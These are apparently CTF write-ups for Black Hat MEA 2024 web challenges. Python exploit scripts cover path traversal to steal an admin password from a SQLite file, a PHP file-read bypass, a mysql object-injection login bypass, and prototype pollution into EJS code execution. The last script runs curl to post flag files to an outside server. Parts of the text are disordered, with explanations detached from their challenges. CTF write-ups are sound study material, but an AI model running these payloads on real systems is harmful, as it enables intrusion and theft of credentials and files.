Black Hat MEA 2024 Web write-ups
Last updated
Last updated
we have this Flask app, which is an api to store files and share files
from flask import Flask, request, jsonify, session, send_file
from functools import wraps
from flask_sqlalchemy import SQLAlchemy
import os, secrets
from werkzeug.utils import secure_filename
app = Flask(__name__)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///db.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
app.config['SECRET_KEY'] = secrets.token_hex(20)
app.config['UPLOAD_FOLDER'] = 'files'
db = SQLAlchemy(app)
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(80), unique=True, nullable=False)
password = db.Column(db.String(120), nullable=False)
class File(db.Model):
id = db.Column(db.Integer, primary_key=True)
filename = db.Column(db.String(255), nullable=False)
filepath = db.Column(db.String(255), nullable=False)
uploaded_at = db.Column(db.DateTime, nullable=False, default=db.func.current_timestamp())
user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
user = db.relationship('User', backref=db.backref('files', lazy=True))
def create_admin_user():
admin_user = User.query.filter_by(username='admin').first()
if not admin_user:
admin_user = User(username='admin', password= secrets.token_hex(20))
db.session.add(admin_user)
db.session.commit()
print("Admin user created.")
else:
print("Admin user already exists.")
with app.app_context():
db.create_all()
create_admin_user()
def login_required(f):
@wraps(f)
def decorated_function(*args, **kwargs):
if 'username' not in session or 'user_id' not in session:
return jsonify({"Error": "Unauthorized access"}), 401
return f(*args, **kwargs)
return decorated_function
def admin_required(f):
@wraps(f)
def decorated_function(*args, **kwargs):
if 'username' not in session or 'user_id' not in session or not session['username']=='admin':
return jsonify({"Error": "Unauthorized access"}), 401
return f(*args, **kwargs)
return decorated_function
@app.route('/')
def index():
return 'Welcome to my file sharing API'
@app.post("/register")
def register():
if not request.json or not "username" in request.json or not "password" in request.json:
return jsonify({"Error": "Please fill all fields"}), 400
username = request.json['username']
password = request.json['password']
if User.query.filter_by(username=username).first():
return jsonify({"Error": "Username already exists"}), 409
new_user = User(username=username, password=password)
db.session.add(new_user)
db.session.commit()
return jsonify({"Message": "User registered successfully"}), 201
@app.post("/login")
def login():
if not request.json or not "username" in request.json or not "password" in request.json:
return jsonify({"Error": "Please fill all fields"}), 400
username = request.json['username']
password = request.json['password']
user = User.query.filter_by(username=username, password=password).first()
if not user:
return jsonify({"Error": "Invalid username or password"}), 401
session['user_id'] = user.id
session['username'] = user.username
return jsonify({"Message": "Login successful"}), 200
@app.get('/profile')
@login_required
def profile():
return jsonify({"username": session['username'], "user_id": session['user_id']})
@app.get('/files')
@login_required
def list_files():
user_id = session.get('user_id')
files = File.query.filter_by(user_id=user_id).all()
file_list = [{"id": file.id, "filename": file.filename, "filepath": file.filepath, "uploaded_at": file.uploaded_at} for file in files]
return jsonify({"files": file_list}), 200
@app.route("/upload", methods=["POST"])
@login_required
def upload_file():
if 'file' not in request.files:
return jsonify({"Error": "No file part"}), 400
file = request.files['file']
if file.filename == '':
return jsonify({"Error": "No selected file"}), 400
user_id = session.get('user_id')
if file:
blocked = ["proc", "self", "environ", "env"]
filename = file.filename
if filename in blocked:
return jsonify({"Error":"Why?"})
user_dir = os.path.join(app.config['UPLOAD_FOLDER'], str(user_id))
os.makedirs(user_dir, exist_ok=True)
file_path = os.path.join(user_dir, filename)
file.save(f"{user_dir}/{secure_filename(filename)}")
new_file = File(filename=secure_filename(filename), filepath=file_path, user_id=user_id)
db.session.add(new_file)
db.session.commit()
return jsonify({"Message": "File uploaded successfully", "file_path": file_path}), 201
return jsonify({"Error": "File upload failed"}), 500
@app.route("/file/<int:file_id>", methods=["GET"])
@login_required
def view_file(file_id):
user_id = session.get('user_id')
file = File.query.filter_by(id=file_id, user_id=user_id).first()
if file is None:
return jsonify({"Error": "File not found or unauthorized access"}), 404
try:
return send_file(file.filepath, as_attachment=True)
except Exception as e:
return jsonify({"Error": str(e)}), 500
@app.get('/admin')
@admin_required
def admin():
return os.getenv("FLAG","BHFlagY{testing_flag}")
if __name__ == '__main__':
app.run(host='0.0.0.0')
it uses from werkzeug.utils import secure_filename
in the upload Route to secure against lfi while storing files since we can not overwrite any file on the system
but anyway secure_filename
is used directly in the function and the file path can still be malformed when it is used in the next route , so if we uploaded a file with name `../../../etc/passwd` we can read it's content
@app.route("/file/<int:file_id>", methods=["GET"])
@login_required
def view_file(file_id):
user_id = session.get('user_id')
file = File.query.filter_by(id=file_id, user_id=user_id).first()
if file is None:
return jsonify({"Error": "File not found or unauthorized access"}), 404
try:
return send_file(file.filepath, as_attachment=True)
except Exception as e:
return jsonify({"Error": str(e)}), 500
let's try
nice now we want to get the admin creds. remember admin's pass is created using this function
def create_admin_user():
admin_user = User.query.filter_by(username='admin').first()
if not admin_user:
admin_user = User(username='admin', password= secrets.token_hex(20))
db.session.add(admin_user)
db.session.commit()
print("Admin user created.")
else:
print("Admin user already exists.")pyth
and the db is sqlite app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///db.db'
so we can read it and get admin's pass. from docker instance it got the path which is /app/instance/db.db
nice we got the admin's pass and now login with it and get the flag
we have a php app which is vuln to lfi from the first sight but it have one challenge that the start of the file must be with <?php or <html .
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Free Flag</title>
</head>
<body>
<?php
function isRateLimited($limitTime = 1) {
$ipAddress=$_SERVER['REMOTE_ADDR'];
$filename = sys_get_temp_dir() . "/rate_limit_" . md5($ipAddress);
$lastRequestTime = @file_get_contents($filename);
if ($lastRequestTime !== false && (time() - $lastRequestTime) < $limitTime) {
return true;
}
file_put_contents($filename, time());
echo $filename;
return false;
}
if(isset($_POST['file']))
{
if(isRateLimited())
{
die("Limited 1 req per second");
}
$file = $_POST['file'];
if(substr(file_get_contents($file),0,5) !== "<?php" && substr(file_get_contents($file),0,5) !== "<html") # i will let you only read my source haha
{
echo 'noo' ;
}
else
{
echo file_get_contents($file);
}
}
?>
</body>
</html>
we could read /etc/passwd, using the same way we can read the flag
we have a NodeJs app that is used to create notes and our goal is to read admin's note
const express = require('express');
const bodyParser = require('body-parser');
const crypto=require('crypto');
var session = require('express-session');
const db = require('./database');
const middleware = require('./middlewares');
const app = express();
app.use(bodyParser.urlencoded({
extended: true
}))
app.use(session({
secret: crypto.randomBytes(32).toString("hex"),
resave: true,
saveUninitialized: true
}));
app.get('/',(req,res)=>{
res.send("Welcome")
})
app.get('/profile', middleware.auth, (req, res) => {
const username = req.session.username;
db.getNotesByUsername(username, (err, notes) => {
if (err) {
return res.status(500).json({ error: 'Internal Server Error' });
}
res.json(notes);
});
});
app.get('/viewNote', middleware.auth, (req, res) => {
const { note_id,note_secret } = req.query;
if (note_id && note_secret){
db.getNoteById(note_id, note_secret, (err, notes) => {
if (err) {
return res.status(500).json({ error: 'Internal Server Error' });
}
return res.json(notes);
});
}
else
{
return res.status(400).json({"Error":"Missing required data"});
}
});
app.post('/addNote', middleware.auth, middleware.addNote, (req, res) => {
const { content, note_secret } = req.body;
db.addNote(req.session.username, content, note_secret, (err, results) => {
if (err) {
return res.status(500).json({ error: 'Internal Server Error' });
}
if (results) {
return res.json({ message: 'Note added successful' });
} else {
return res.status(409).json({ error: 'Something went wrong' });
}
});
});
app.post('/login', middleware.login, (req, res) => {
const { username, password } = req.body;
db.login_user(username, password, (err, results) => {
if (err) {
console.log(err);
return res.status(500).json({ error: 'Internal Server Error' });
}
if (results.length > 0) {
req.session.username = username;
return res.json({ message: 'Login successful' });
} else {
return res.status(401).json({ error: 'Invalid username or password' });
}
});
});
app.post('/register', middleware.login, (req, res) => {
const { username, password } = req.body;
db.register_user(username, password, (err, results) => {
if (err) {
return res.status(500).json({ error: 'Internal Server Error' });
}
if (results) {
return res.json({ message: 'Registration successful' });
} else {
return res.status(409).json({ error: 'Username already exists' });
}
});
});
db.wait().then(() => {
db.insertAdminUserOnce((err, results) => {
if (err) {
console.error('Error:', err);
} else {
db.insertAdminNoteOnce((err, results) => {
if (err) {
console.error('Error:', err);
} else {
app.listen(3000, () => {
console.log('Server started on http://localhost:3000');
});
}
});
}
});
});
const auth = (req, res, next) => {
ssn = req.session
if (ssn.username) {
return next();
} else {
return res.status(401).send('Authentication required.');
}
};
const login = (req,res,next) =>{
const {username,password} = req.body;
if ( !username || ! password )
{
return res.status(400).send("Please fill all fields");
}
else if(typeof username !== "string" || typeof password !== "string")
{
return res.status(400).send("Wrong data format");
}
next();
}
const addNote = (req,res,next) =>{
const { content, note_secret } = req.body;
if ( !content || ! note_secret )
{
return res.status(400).send("Please fill all fields");
}
else if(typeof content !== "string" || typeof note_secret !== "string")
{
return res.status(400).send("Wrong data format");
}
else if( !(content.length > 0 && content.length < 255) || !( note_secret.length >=8 && note_secret.length < 255) )
{
return res.status(400).send("Wrong data length");
}
next();
}
module.exports ={
auth, login, addNote
};
// that is not all but what we need
const mysql = require('mysql');
function getNoteById(noteId, secret, callback) {
const query = 'SELECT note_id,username,note FROM notes WHERE note_id = ? and secret = ?';
console.log(noteId,secret);
pool.query(query, [noteId,secret], (err, results) => {
if (err) {
console.error('Error executing query:', err);
callback(err, null);
return;
}
callback(null, results);
});
}
also this challnge had jail and set the memory to 0, so we need to write a script to automate the exploit
import requests
# Create a Session object
session = requests.Session()
#BHFlagY{1731788be1c842b4fac021e80e20e459}
#url = 'http://a25d1076f00f22bc71975.playat.flagyard.com/' this was the challenge url
url = 'http://127.0.0.1:5000/'
def register(url):
# The URL where the Flask application is running
url = url+ "register"
# The data to be sent to the server
data = {"username": "test2", "password": "test2"}
# Perform the POST request
response = session.post(url, data=data)
# Print the response text and cookies
print(response.text)
print(response.cookies.get('connect.sid'))
def login(url):
# The URL where the Flask application is running
url = url+ "login"
# The data to be sent to the server
data = {"username": "test2", "password": "test2"}
# Perform the POST request
response = session.post(url, data=data)
# Print the response text and cookies
print(response.text)
print(response.cookies.get('connect.sid'))
def profile(url):
# URL for a different request where you want to keep the cookies
url = url+ "profile"
# Perform another request using the same session
response = session.get(url)
# Print the response text
print(response.text)
print(response.request._cookies.get('connect.sid'))
def viewNote(url):
# # URL endpoint for the request
url = url + "viewNote"
query = {"note_id": 66, "note_secret[username]": "admin"}
# Perform the GET request with query parameters
response = session.get(url=url, params=query)
# Print the response text
print(response.text)
# Print the cookies sent with the response (if any)
print(response.cookies.get('connect.sid'))
#register(url)
while True:
login(url)
viewNote(url)
this nodejs app is vuln to prototype pollution in the address `address
` function and we need to get RCE from ejs which is vuln to this CVE-2024-33883
{
"name": "food-delivery-service",
"version": "1.0.0",
"description": "",
"main": "app.js",
"scripts": {
"start": "node app.js"
},
"dependencies": {
"express": "^4.18.2",
"body-parser": "^1.20.1",
"ejs":"^3.1.9",
"express-session":"^1.18.0"
}
}
// this is not all but what we only need
const express = require('express');
const bodyParser = require('body-parser');
const session = require('express-session');
const crypto = require("crypto");
const app = express();
const PORT = 3000;
// In-memory data storage
let users = {};
let orders = {};
let addresses = {};
// Inserting admin user
users['admin'] = { password: crypto.randomBytes(16).toString('hex'), orders: [], address: '' };
// Middleware
app.use(bodyParser.urlencoded({ extended: false }));
app.set('view engine', 'ejs');
app.use(session({
secret: crypto.randomBytes(16).toString('hex'),
resave: false,
saveUninitialized: true
}));
// Routes
app.get('/', (req, res) => {
res.render('index', { user: req.session.user });
});
app.get('/login', (req, res) => {
res.render('login');
});
app.post('/login', (req, res) => {
const { username, password } = req.body;
const user = users[username];
if (user && user.password === password) {
req.session.user = { username };
res.redirect('/');
} else {
res.send('Invalid credentials. <a href="/login">Try again</a>.');
}
});
app.get('/logout', (req, res) => {
req.session.destroy();
res.redirect('/');
});
app.get('/register', (req, res) => {
res.render('register');
});
app.post('/register', (req, res) => {
const { username, password } = req.body;
if (Object.prototype.hasOwnProperty.call(users, username)) {
res.send('Username already exists. <a href="/register">Try a different username</a>.');
} else {
users[username] = { password, orders: [], address: '' };
req.session.user = { username };
res.redirect(`/address`);
}
});
app.get('/address', (req, res) => {
const { user } = req.session;
if (user && users[user.username]) {
res.render('address', { username: user.username });
} else {
res.redirect('/register');
}
});
app.post('/address', (req, res) => {
const { user } = req.session;
const { addressId, Fulladdress } = req.body;
if (user && users[user.username]) {
addresses[user.username][addressId] = Fulladdress;
users[user.username].address = addressId;
res.redirect('/login');
} else {
res.redirect('/register');
}
});
app.get('/order', (req, res) => {
if (req.session.user) {
res.render('order');
} else {
res.redirect('/login');
}
});
app.post('/order', (req, res) => {
if (req.session.user) {
const { item, quantity } = req.body;
const orderId = `order-${Date.now()}`;
orders[orderId] = { item, quantity, username: req.session.user.username };
users[req.session.user.username].orders.push(orderId);
res.redirect('/');
} else {
res.redirect('/login');
}
});
app.get('/admin', (req, res) => {
if (req.session.user && req.session.user.username === 'admin') {
const allOrders = Object.keys(orders).map(orderId => ({
...orders[orderId],
orderId
}));
res.render('admin', { orders: allOrders });
} else {
res.redirect('/');
}
});
// Start server
app.listen(PORT, '0.0.0.0', () => {
console.log(`Server is running on http://localhost:${PORT}`);
});
first we need to polluote the addresses object , if we used the same logic in this script we can polluote the Object and control crtical values in Nodejs runtime
let users = {};
let orders = {};
let addresses = {};
username = '__proto__';
addressId = 'foo';
Fulladdress = 'bar';
users[username] = { 'password': 'aaaa', orders: [], address: '' };
addresses[username][addressId] = Fulladdress;
users[username].address = addressId;
console.log(Object.foo)
// result: bar
import requests
session = requests.Session()
url='http://localhost:3000/'
#url='http://a61a2c36e9a8e2740d1e2.playat.flagyard.com/' this was the challenge url
def register(url):
url= url + 'register'
data= {"username":"__proto__", "password": "asas"}
res = session.post(url, data=data, allow_redirects=False)
print(res.text)
def address1(url):
url= url + 'address'
data = {"username":"__proto__","addressId":"client","Fulladdress":"1"}
res = session.post(url, data=data,allow_redirects=False)
print(res.text)
def address2(url):
url= url + 'address'
data = {"username":"__proto__","addressId":"escapeFunction","Fulladdress":"""process.mainModule.require('child_process').execSync('curl -X POST -d "$(cat /tmp/flag*)" https://myserver');"""}
res = session.post(url, data=data, allow_redirects=False)
print(res.text)
def index(url):
res = session.get(url)
print(res.text)
register(url)
address1(url)
address2(url)
index(url)
we can use this tool which we can use to emped the <?php part, and change the last part to/srv/flag.txt
to get the flag
first thing is the app is using require('mysql');
and prepared statments (which is not we will see) to secure agains sql injection from and we can see that it is vuln to sql injection and this is not prepared statments so something like note_id=66¬e_secret[username]=admin
in the getNotebyID function can lead to sql injection
next we can use this poc for which is baed on prototype pollution. again the challenge is jailed and we need to make a script